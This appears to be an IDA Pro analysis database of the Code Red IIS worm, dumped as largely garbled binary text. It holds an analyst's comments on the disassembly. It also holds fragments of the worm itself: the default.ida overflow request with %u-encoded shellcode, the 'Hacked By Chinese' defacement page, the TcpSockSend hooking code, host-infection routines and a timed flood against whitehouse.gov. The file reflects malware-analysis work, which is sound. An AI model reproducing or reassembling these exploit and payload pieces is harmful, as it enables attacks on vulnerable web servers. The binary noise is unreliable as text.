IDA0 $)  lB-tree v 1.5 (C) Pol 1990 .8SDD D D D D D E E c V N _ \ @? D Fp Ep F9 C Z6=J_  ] _| EM Ex E OO E9  D  D  D > D @ > A [6H/:J? DBC D2Fr@@ => DDCCC/C/@J@ ECC . S . BS this sets up the socaddr struct .S CreateThread .2xD|{~kZP*       yiZI;! |l `TG7&|eRB3%m#    FtY6& 8N8{j& r^QD7){# Default_ida Default_ida .8SDD D D D D D E E c V N _ \ @? D Fp Ep F9 C Z6=J_  ] _| EM Ex E OO E9  D  D  D > D @ > A [6H/:J? DBC D2Fr@@ => DDCCC/C/@J@ E .8SYEC C9 B BB <>D DM Gx Kz K K K I ' D  @ A E *C* * * *F *s * * "*,*7*L *: * K=> A> YYA= ?< H > ?= CEBJ< O ]ON9 r @ ECC Default_ida SELF_MODIFY1 JUMP_TABLE1 PADDING_BYTES FAKE_TCPSOCKSEND OOK_FAKE_TCPSOCKSEND TIGHT_LOOP HACK_PAGEO_JUMP DO_REWRITE ataSetupCONTINUE WORMVA$9N$ xref windowspart ofs a ninstance of s2_32_dll W3svc_dll Virtualprotectc Tcpsocksend ocket leepF Send Recv oadlibrarya LmthHtmlHeadMe7 Infocomm_dlls Http1_0Content time systemdefauL Get thread- reatefilea: onnect losesocket aCNotworm, oo many lines1he decision made by IDA was wrong and rolled back Root Nodendirect execution flowviewsE IDA View-A8-ailed to trace the value of the stack pointerExecution flows beyond limits5ecision to convert to instruction/data is made by IDATHE_WORK references (hint: redo analisys)!offset base (hint: delete offset)name (hint: use manual arg)comment (hint: delete comment)Afind alternative string for an operand (hint: delete alt. string)an't disassembleCODE6'ttention! Probably erroneous situation..Already data or code (hint: make 'unexplored') xref windows9 vmm functionsuser1 tructs& sarray) ourcefiles(ignature names$ sarray segs  sarrayregs patches original user7ullsubs#NnmSerEAlibfuncs%mportsidpflags  sarray"uncs!num@218Jvar_190KsI. rH2Gvar_CDarg_4C. rBr1Axups sarray fileregionsums' entry pointsauto type callees+MARKSFileInfo ready:N$ Auto*TPSMSKN$ fr2.var_190JN$ fr2.var_218IN $ fr2. sHN $ fr2. rN$ fr2GMJK IHVEN IDA viewsDN $ fr1.var_CCN $ fr1.arg_4BN $ fr1. rN$ fr1AMD BC N$ frnum@A:N $ Auto readyhK@4)9  xm   hCU0at  V   J >2'e ;      l B $  '     h 6     z F     y ncT c X Q7(   D_w`;0!   }R2 zoc/xl^aUD8- &  |hO.jS/y 7~oC8 1 a ;   w];`U,!xfT%P= GET_HTML_INCGET_HTML$GET_HTML_INC_JUMP FOUND_HTMLBTCPSOCKSEND_FIND_INCTCPSOCKSEND_FIND`TCPSOCKSEND_FIND_INC_JUMPRESET_MEM_PROTECTIONp NOTWORM_YES NOTWORM_NOATIME_GREATER_20J NEVER_CALLED1WHITEHOUSE_SOCKET_SETUPsWHITEHOUSE_SOCKET_SEND_INCWHITEHOUSE_SOCKET_SENDCWHITEHOUSE_SLEEP_LOOP INFECT_HOST5GET_NEXT_URL_BYTESETUP_URL_TO_SENDSEND_URLbGET_NEXT_QUERY_BYTESETUP_QUERY_TO_SEND SEND_QUERYAGET_NEXT_HEADERSSETUP_HEADERS_TO_SEND SEND_HEADERSSOCK_CLOSE_LOOP'SCreate a socketS100 milisecondstSsleep for around 4.66 hoursSIthis code is self referential and is never called, as far as can be seenA@S$push a LONG time(basically forever)A@ON HACK_PAGE=SSleep This Sleeps for 2 hours8Sthis is 2 hourstA@SRESET_MEM_PROTECTIONnS2replace the call to tcpsocksend with the originalhSset ecx to tcpsocksendbS)set eax to actual address of tcpsocksend\S&set eax to the base of the loaded dllFS)replace the call to TCPSOCKSEND to o.C98@Sset edx to o.C98:S&set ecx to the address of tcpsocksend4Sload base into ecx2Sjump here on a not matchA@rA@A@,S'check ebp-150 against eax(tcpsocksend)*S'store the value at the offset into eax$Sadd the offset from counterSset edx to the baseSgo here if it isScheck if counter is 3000h yetSreset counter to 0Sstored write address for w3svcSfor 4000 hex bytesSmake page readwrteS/set ebp-1b8 to receive the old page protectionS*move the web data into the request returnSset ecx with the counterS load eax with the data segmentA@A@S Get the next byte to compare toA@XScompare shifted URL to HTMLSlook for HTMLSstore data pointer at ebp-1b0~Sstore data pointer in edx{S@the next addr after the one popped is replaced with closesocketuSload ecx with close socketoS0load eax with the address popped from the stackmS7store tcpsocksend at the address popped from the stackgSload edx with tcpsocksendaSload thecounter into ecx[Sstore base at ebp-134US;load eax with the current dll base address(probably w3svc)6A@/A@A@rA@Sif counter >= 18000h jump&S inc counter A@pSjump back to sendcSSend sends 1 byteUS addr of buf\Ssock descriptorSS send len 1QS no flagsSstore 0 at ebp-1b4 Spush sock descriptorSpush sockaddrS push lenSset ip (www.whitehouse.gov)S set port(80)S set afamSstore sock descriptorSprSfamS int protocolS"set seconds and milisecond to eaxA@xDySSleepX 9x BSSleep9x rX X px /SconnectSsocketSSleepXxSSleepxXxScheck if hour is less than 28ySload edx with day and hour UTCmSstore ecx in ebp-1b4gS load ecx with day and hour, UTCZSGetSystemTimeSS)LPSYSTEMTIME lpSystemTime // system timeKx X DA@>x 7Scheck if hour is less than 201Ssave the UTC hour at ebp-1b4+Sget lower word(hour, UTC)%Sset ecx to day and hour UTCSstore day in ebp-1b4S load eax with day and hour, UTC SGetSystemTimeS)LPSYSTEMTIME lpSystemTime // system timeXA@xSSleep xXA@xSjump if Createfile failedS CreateFileAS LPCTSTR lpFileName // file nameSthis points eax to c:\notwormS>DWORD dwDesiredAccess // access mode this is for GENERIC_READS@DWORD dwShareMode // share mode this equates to FILE_SHARE_READS1LPSECURITY_ATTRIBUTES lpSecurityAttributes // SDSGDWORD dwCreationDisposition // how to create this is for OPEN_EXISTINGSLDWORD dwFlagsAndAttributes // file attributes this is FILE_ATTRIBUTE_NORMALS0HANDLE hTemplateFile // handle to template filex S"if edx ==0, then jump down to c91 1XS9this exits from sub 224, not positive of the end result.N DO_THE_WORKA2SVirtualProtectpXxX2pxtOSSleepJSsleep for a long timexrxtXXrxSVirtualProtectXxXxxxXxX S e#  , ND 3;)I5V VY aJx X/1xx6/Sif not english go S)put default system languageid in ebp-1b4SGetSystemDefaultLangIdXS setup a funcA@ .xqrcN8$G  ~ t j ` V L B7 - #                 y o eZ P F < 2 (  n>U - qYE / o`E6 , "       < K<5AS-?? << ?@ >; > E>>Aj >[ ;YtBpUt Dp== ?? >>7DB@<2 'b B0=7?YC0?7@Y DRDcDA B AA >2HH  E_AAAAB>>>\ Z A H E D D^DREthis is the worm body. this is the code that actually does the workA  sThis is a fake tcpsocksend that replaces the current one. it serves to deliver the hacked page when inititalizeddThis function: sets up edi dynamically rewrites a bit of worm code to point to the head of the codeOpop the stack into the counterN IDA View-A8ASwVT9kDsʢ[ۓ `t¦KlͳVjTη!WErQpYs'wAV(% b}nY.#g8}r k .ANaGetDefNaGetDefault_ida .AP.RVA_TOP5 NOT_MSVCRT RVA_INNER_TOPRVA_PROCESS_FUNCTO_RVA_INNER_TOP TO_RVA_TOPGETPROC_LOADED GPLOADED2 GETPROC_LOOP_INCGETPROC_LOOP_TOPjDLL_CHECK_NULL_BRANCHCHECK_NULL_BRANCH_INCCHECK_NULL_BRANCHGETPROC_SHIFT_NULLFUNC_LOAD_DONETOO_MANY_THREADS8 IS_AMERICANSthis is null on the first loop through, due to a null set at init. The purpose of this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specificly, KERNN DataSetupNWORMSLset 190h to 0 this zeros out the memory that holds the GetProcAddress Call.$NDO_RVAX2A@0x7*S#set ebp-190 to GetProcAddr AddressS%set ebp-1B4 to offset into rva tableS NULL out eaxSget RVA Base for Kernel32.dllS$get offset into table and double itSMit did match this is GetPRocAddr, need to get the mapped RVA for this func.x2S didn't match, try the next one.S#looking for GetProcAddr (Acor cmp)x2S didn't match, try the next one.S#looking for GetProcAddr (PteG cmp)x7qS]this is the end of the inside loop(there are no more functions), goto RVA top and try again.XBS_This is the part of the inner RVA loop that compares the current RVA function to GetProcAddr. bA@X2S/this moves on to the next func in an rva tableDA@Bxb8Sset ebp-1b8 to 02Sset ebp-1b4 with rva holder/S8add the offset pointer to the base to get the RVA addr.)Sset eax to the base#S$set edx to the offset from the baseSstore the kernel32 base addr.S5ok, we have kernel32, now get the functions we need.x7 SZlooking for our specific code (23LE) - EL32 spelled backwards.. this is to find KERNEL32x7SZlooking for our specific code (NREK) - KERN spelled backwards.. this is to find KERNEL32Sset edx to 77E6394ESset ebp-1B4 to 77E6394ES8add 0x77E10000 to ecx, to get something like 0x77E6394eSDset ecx to what is at 0x77E61E0C should be something like 0x005394ESset eax to 0x77E61E00Sset ebp-1AC to 0x77E61E00Sadd 0x77E10000 to edxSFset edx to what's at address 0x77E100B4 should be somehing like 51E00Sset ecx to 0x77E10000SEset eax to what's at 0x77E1003Ch should be something like 0x000000D8Sset edx to 0x77E10000x7Sjump if ecx is not 0x00004550SBset ecx to what is at eax+edx should be something like 0x00004550S null out ecxSset eax to 0x77E10000S8set edx to *ecx+3ch should be something like 0x000000D8Sset ecx to 0x77E10000x7Sjump if eax is not 5a4dSAmove the low half of *edx into eax should be something like 5a4dS null out eaxX{Sset edx to 0x77E10000A@x{Sif it is not, then jump hereqSis it msvcrt?eSmake ecx 0x77e10000_Sset ecx to 77E00000x<YS$go here after GetProcAddr Is loadedX7RA@x MS(jump into ced, do stuff, then jump backCS3set 1a8 to 0x780000 __NULL_IMPORT_DESCRIPTOR+15D4h=Sset ebp - 10c to oD0B:S2sub 7 from the data segment, putting you at: oD0B4Sload eax to the data address*Sset 110h to 0xffffffffX S% u NeL1?x S set fs reg ?Sset ebp+118 to 0Sset eax to an ebp+val SAset ebp -198h to address of the data segment set edi to ebp -110X S x Sfill in stack vars with 0xccSsave a few regsS!set up space for local variablesSswitch esp to ebpS 0 instance ofis a-part ofNODEQ $ MAX LINKo   pLA$ [Pq>   w _  n;vg"{V<LA4%  ~ Q(I$ h Qc8$ j :   c)MS/LPSECURITY_ATTRIBUTES lpThreadAttributes // SDS(DWORD dwStackSize // initial stack sizeS9LPTHREAD_START_ROUTINE lpStartAddress // thread functionS&LPVOID lpParameter // thread argumentS)DWORD dwCreationFlags // creation optionS(LPDWORD lpThreadId // thread identifierS/store threadcount in the isapi extension blockSload ecx with the threadcountS(load eax with the isapi extension blockSstore the new val at ebp-18cSset thread count into edxS#store the new value of threadcountS%increment the number of open threadsSset ecx to number of threadsxS)branch here if more than 100 are runningXqScheck is 64 is in ebp-1b0Scall WriteClient in WAMS push eaxS load eax with the data at edx+8Sset edx with ebp+8 pointerSpush it~SOload eax to the addr of ebp-198, set to data segment right after the funcnames}Spush the addr on the stackwS*load eax to the addr of ebp-1b4, set to 4uS push a nullsSGet Ready to call a functionxqSif it's not 0, then go heredS!set response to check at ebp-1b0^S+check pointer to the possible isapi structDSsave the ebp+8 at ebp-12fAS6load eax with ebp+8(possibly an isapi request struct):SGset ebp-130 to 68h this seems to be setting up some type of structure0Sset ebp-1b4 to 4*S%load this wam.dll entry into ebp-194$Sload edx with a wam.dll entry!S"load ecx with an address at ebp+8SXset datasegment to eax This moves us past the final NULL at the end of the Dll ListingSinc eaxXSset eax to the data segmentA@ xeXSthis function moves past the null on the end of a line to set the function up for the next run through the getproc/load library systemA@xS else go herexSif it is null, go hereScheck for nullSload byte at eax into ecxXSxload eax with data segment. this checks the nullishness of the ebp-198 data pointer, and if isn't null, increments it.A@XS;this function moves the data segment on to the next lookupA@xXA@SUload the address into the ebp stack where needed this sets up our function jumptableSload ecx with ebp-1b4Scall GetProcAddressS(push module handle(base loaded address)Sget current RVA base offsetS/push data segment(pointer of function to load)S&set ecx with the data segment pointerXxS<load current dll base pointer with return from LoadLibraryAS LoadLibraryASpush current data pointerSget past the 9S set eax to current data pointerxSif not, jump hereS*check if the byte specifies change of dllS(load edx wuith the byte at data segmentSload ecx with the data segmentxSif it is, go here}SQcheck if the byte is null. This signifies the end of the function data section.zS&move the byte at data segment to eaxXcSload edx with the data segmenttA@X S!increment the counter at ebp-ib4eA@cxtXRSset ebp-1b4 to 1YA@x TSelse, goto locC91xYRSif it is, goto gploaded2KSsee if getprocaddr is loadedXY}]4}wrZ6a    p VU#RG0$     {pd  YNB  4)  vj _TE1" xbS?0|iZI:/     x > )~o^OyjV N SELF_MODIFY1N JUMP_TABLE1NPADDING_BYTESNFAKE_TCPSOCKSENDNHOOK_FAKE_TCPSOCKSENDN TIGHT_LOOPSsend "?" query specifierSSend a "GET "ZSset ebp-180 to the ipaddress . TSload ecx with the ip addressNHACK_PAGE_JUMPN DO_REWRITE N WORMCONTINUES!this sets up the hacked page bitSThis is a tight looppS'set counter to data received from recvcS.recv receive a response from the remote side\Spush sockdescUSpush addr of ebp-104PS set 100 lenNS no flagsESset ebp-104 to 08S=send this sends the actual malicious code to the remote side1Spush sock desc-Sget and push data request#Spush request size!S no flagsS!set counter to data request sizeSget data request sizeSpush socket descriptorSpush addr of our headersSpush counted sizeA@A@A@X Sset ebp-19c to our headersSreset counter to 0Ssend send the headersSpush sock descriptorSpush addr pointing to headersSpush size of headers~S no flags|A@^Sincrement the counterS,increment the memory pointer to the headersOA@mA@GSstore headers addr at ebp-19cAS load headersN$ segs sarray AV _>S!6 N$ segsSF3;=Ryan Permeh - eCompany (1-user Standard 12/2000) N$ user1N $ idpflags AN$ vmm functionsN $ importsN $ fixupsN $ patchesN $ nmSerNAN $ nmSerEAN $ FileInfoVC:\work\worm\wormhit-1.datAIDA)metapcI  ( aa=FP@@BG_cdecl=__cdecl;_pascal=__pascal;_huge=__huge;_near=__near;_far=__far;__inline=;_inline=;inline=;CM_WINNT;MPR50;_INTEGRAL_MAX_BITS=64;_MSC_VER=1200;_CHAR_UNSIGNED=1;_M_IX86=300;__MT__=1;__TLS__=1;_Windows=1;__WIN32__=1;_WIN32_WINNT=0x0500;WINVER=0x0500;_WIN32=1;OLEDBVER=0x0250;SECURITY_WIN32;WIN32_SUPPORT;DBNTWIN32;W32SUT_32;A4/Program Files/Microsoft Visual Studio/VC98/includeSN Root Node)SS;Y ANaLmthHtmlHeadMe7AN aCNotworm,ANaHttp1_0ContentANaGetAN aW3svc_dllAN aClosesocketANaRecvANaSendAN aConnectANaSocketAN aWs2_32_dllAN aTcpsocksendANaInfocomm_dllsANaVirtualprotectcANaGetsystemdefauLANaSleepFAN aCreatefilea:ANaCreatethread-ANaGetsystemtimeANaLoadlibraryaAxX x  SJthis is self modifiying code. the move value gets set to RVA LOOP(o 252)X S'dynamically rewrite jump addr at o.D02Sput an addr into ediXMS x xOXJX x X X S&       x Sebp-1a0 it seemsx$Xx  XTxS closesocketX vA@ SsendX x x X x X xzx Oxx |X MX zMx m7Sset counter to 0*Ssend#Spush sock descSset pointer to 3fS push size 1S no flags SsendS push socketS pointer to beginning of requestS push sizeS no flagsX A@x S else go herex Sif it's null, then go hereSlook for nullSmove the byte to edxX Sload ecx with isapi offsetA@S inc counterX S%increment the url pointer at ebp-19cA@x Sstore isapi pointer at ebp-19cS&set ecx to offset inside isapi filterSload isapi filterSstore a 0 in 1b4S send a GETSpoints to socketSpoints to GETx vS+if the connect failed goto closesocketloopScheck if the connect succeededrSconnectqS SOCKET sjS const struct sockaddr FAR *namebS int namelen`Va4 GEPET@ 0/ dPefpault.ida?`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`NN@N0N NPNNpNNNNNNNNN`%u@900 9P0%pu 68 58 %u cb` d3@ %0u 7P8 0p1 %u 90 90 %u` 68@ 508 %Pu cpb d3 %u 78 01` %u@ 900 9P0 %pu 68 58 %u cb` d3@ %0u 7P8 0p1 %u 90 90 %u` 90@ 900 %Pu 8p190%u00c3`%u@000 0P3%pu8b00%u53`1b@%0u 5P3fpf%u0078%u`00@000 %Pu0p0=a  HTTP`/1@.00  P Cpontent-ty`pe@:0  tPexpt/xml HOS`T:@w0w wP.wporm.com  `Ac@c0e pPt:p */* Cont`en@t0- lPenpgth: 3569`  @ 0  PUGAP 0@SVWK@0 P@00@@  @@@p0`P@p   00WPPh 0@@P 0@dP 0@@G  d=P00Po@   @WP`@0 P@0`P@p @h@0 P@@P 0@@X p@P`0w@   @_@pP00PP 0@@PX 0@@P 0@@PX 0@@X p@P`0xu @X p@P`0_@PX 0@3f@  =@MZ00P 0@@PX 0@@Q < @X@0 P3f@  0@P@E0 Py@0 P@X@0 P@B<@PX 0@@T0 x@PX 0@@PT 0@@PT 0@@H  @X@0 P@L@0 P@L@0 P@:K@E0R NP3@0 P@L@0 P@xPE0L03P2P  0@@PX 0@@P4 0@@PT 0@@PX 0@@B  @L@0 P@H0`P@p _@H@0 P@@PH 0@@PL 0@@  @L@0 P_@T@0 P@H@0 P;@HP 0@@PL 0@@@PX 0@@<` G@e@t P`@0 P@L@0 P@@X@0 P@|`0r@oPc Ap@0 P@H@0 P@H@0 P@X@0 P@T@0 P@H$3f@0 @PL 0@@PT 0@@Q  @L@0 P@L 0@L@0 P@L@0 P@L@0 P@L@0 P@L@0 P@X@0 P@T@0 P@H@  @L@0 P@L@0 P@X@0 P@p@0 PW 00W@  @W@@0 P@GdP 0@@`p @@ `u800_@L p@P`0_@PL 0@@  @L@0 P_@h@0 P@P 0@@Ph 0@@  @ u!@Ph 0@@  P@P 0@;CKCK@4@0 P*@h@0 PQ@P4 0@R@p@0 P;CKCK@PL 0@@` @@ `W_@h@0 P@@Ph 0@_@Ph 0@@  t_@h@0 P@@Ph 0@S@  @_@h@0 P@@Ph 0@@M  @@0 P@l@0 P@L0`P@p @P00Ph@E  @@0 P@0`P[@SpS @0`Pc@xp @M@Q  @P@0 P@PP00Pu&j@@PL 0@P@h@0 PQ@U  @BP@l@0 P;CKCK@`P @@ d`}\@P@0 P@@PP 0@@PP 0@i@P f0@P@Pt 0@@E  @P@0 P@H@P, 0@Rj@@L@0 PP@P 0@Qj@j@@@0 P;CKCK@  @_@@0 P;CKCK@PL 0@@PL 0@AP 0@@PL 0@@L p@P `0tg@  @Wh@0m0@P 0@;CKCK00WPPL 0@@P4 0@@P 0@@PL 0@@P 0@@@PL 0@@P 0@@H  @h@0 P@P@0 P_@P@0 P@@PP 0@W@Ph 0@@P 0@9@PP 0@s@PP 0@@:PL M0T@HuW_@PP 0@@  @L@0 P@A@PH 0@Rj@h@@00@P 0@P@@0 P;CKCK@L p@P`0W@PL 0@@  @L@0 P_@L0`P@0p }V@@0 P@L@0 P@;@@0 Pu>@@0 P@L@0 P@`@0 P@h@Q0%0@P 0@;CKCK@@0 P@L@0 P@@0 P@W_@L@0 PR@PH 0@Ph@@00@P 0@Q@@0 P;CKCK_@@  @@0 Pj@h@00j@j@j@h@@  @@h@0 P@cP@@0 P;CKCK@P0 0@@`0 @@ `tW@00th@@  @@@0 P;CKCKW@P8 0@R@@0 P;CKCK@P> 0@@PL 0@@PL 0@AP 0@@PL 0@@`L @@ `G@0 PW@00P: 0@@P8 0@P@@0 P;CKCK@P> 0@@PL 0@@PL 0@AP 0@@PL 0@@`L @@ `|_@00th@@  @@@0 P;CKCKWj@d@P 0@;CKCKj@j@j@@@0 P;CKCK@Px 0@f@ |`@@` f@p~0PP0pP@ p@P`0[j@@P| 0@Q@x@0 PR@P 0@;CKCK@L0`P@p W@L@0 P@@PL 0@_@L p@P`0}7h@@  @@@0 P;CKCKj@j@@P 0@Q@x@0 PR@P 0@;CKCKWh@00@P 0@;CKCK00_@PD 0@@PP 0@@PP 0@@` P@@ `i@@Y0 P@P@0 Pi@@0 P@t@0 P@P@0 P@t@0 Pi@@30 P@S@0k P@t@0 P@t@0 PA@0 P@P@0 P@PP00Pt @P p@P`0u@Pt 0@@@   @@t@0 Pj@d@@0 P;CKCKj@j@j@@P 0@;CKCK@x@0 Pf@p|0PP0pf@ ~`@@` P@t@0 P@@0 Pj@@|@0 PR@Px 0@P@@0 P;CKCKP 0@j@j@@Ph 0@Q@x@0 PR@P 0@;CKCK@L0`P@p @E@H h @d@0 P_@d@0 P@@Pd 0@@PL 0@@  @L@0 P_@d@0 P@tWj@@PL 0@P@M@Q h R@Px 0@P@@0 P;CKCKj@j@@Ph 0@@  Q@Px 0@R@@0 P;CKCK@L p@P`0@E  @Hd@Pd 0@_@Pd 0@@  @d@0 P@L@0 P@@PL 0@W@Pd 0@@  tWj@@L@0 PP@M  @QdR@x@0 PP@P 0@;CKCK@L0`P@p @h@0 P@@Pd 0@W@Pd 0@@  @d@0 P@L@0 P@@PL 0@W@Pd 0@@  tWj@@L@0 PP@Ph 0@@  Q@Px 0@R@@0 P;CKCK@E  @Hp@PL 0@j@@PL 0@R@E@H x Q@Px 0@R@@0 P;CKCK@` @@ `j@h@00@P 0@P@x@0 PQ@P 0@;CKCK@L@0 PW@x@0 PR@P 0@;CKCK 00_W@  @0XW@  UWSVPj@<@  Vh@@  @@p@t0$ (@XP@t0$ @P  X^[_]@ W00_{@  @"An2uZV4xV4xV4XWP@Ph 0@@G  W@D0$ @@  @@@0 P3W@  @LPoad0LiPbprpaPry0AGPet Sy@st`epmTPim0eCPre at@eT`h`re@ad CPrea0tePF`ipl@eA SPle@e0p PGPetPS0y0sPtepmDefaultLpanPg0I0DPVPir tu@al`Pro`te@ct  iPnf oc@om`m`.d@ll TPcpS0ocPk`Spe@nd  WPS2 _3@2`.`d@ll sPocPk0e0tPcPopn nPe@c0t`sPe@n d @rPec0v0cPlo se@spo`cPke0t wP3sv0c`.Pd@lpl GPE@T  @? P HT0TPP/`1p.@0   Content-0tyPp`ep:@ t ext/xml H0OSPT`:pw@ww .worm.com0  PA`cpc@ep t: */* Co0ntPe`npt@-l ength: 35069P ` p @   cP:\n0optPwPopr0mLPMT H @ <`htmpl>P<h0ead>< me@ta` htptpP-e0quiv= "C@on`tenpt-PTy0pe" c on@te`nt=p"tPex0t/htm l;@ c`harpsePt=0engli sh@">`<tiptlPe>0HELLO !<@/t`itlpe>P</0head> <b@ad`y><phrP s0ize=5 ><@fo`nt pcoPlo0r=" re d"@ ><` p  apl iPg n0= "c en te@ r"` >W epl cPo m0e t o  h t@ t p` : / /p w wP w .0 w o r m . c o@ m ` ! < bp r >P < b0 r > H a c k e@ d ` B y p C hP i n0 e s e! < / f@o n`t ><p /hP r>0 </ ba d y >@< /`h tmp l>P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0  @Va4# $O   - : F L c s ,7@IDATILLocal type definitions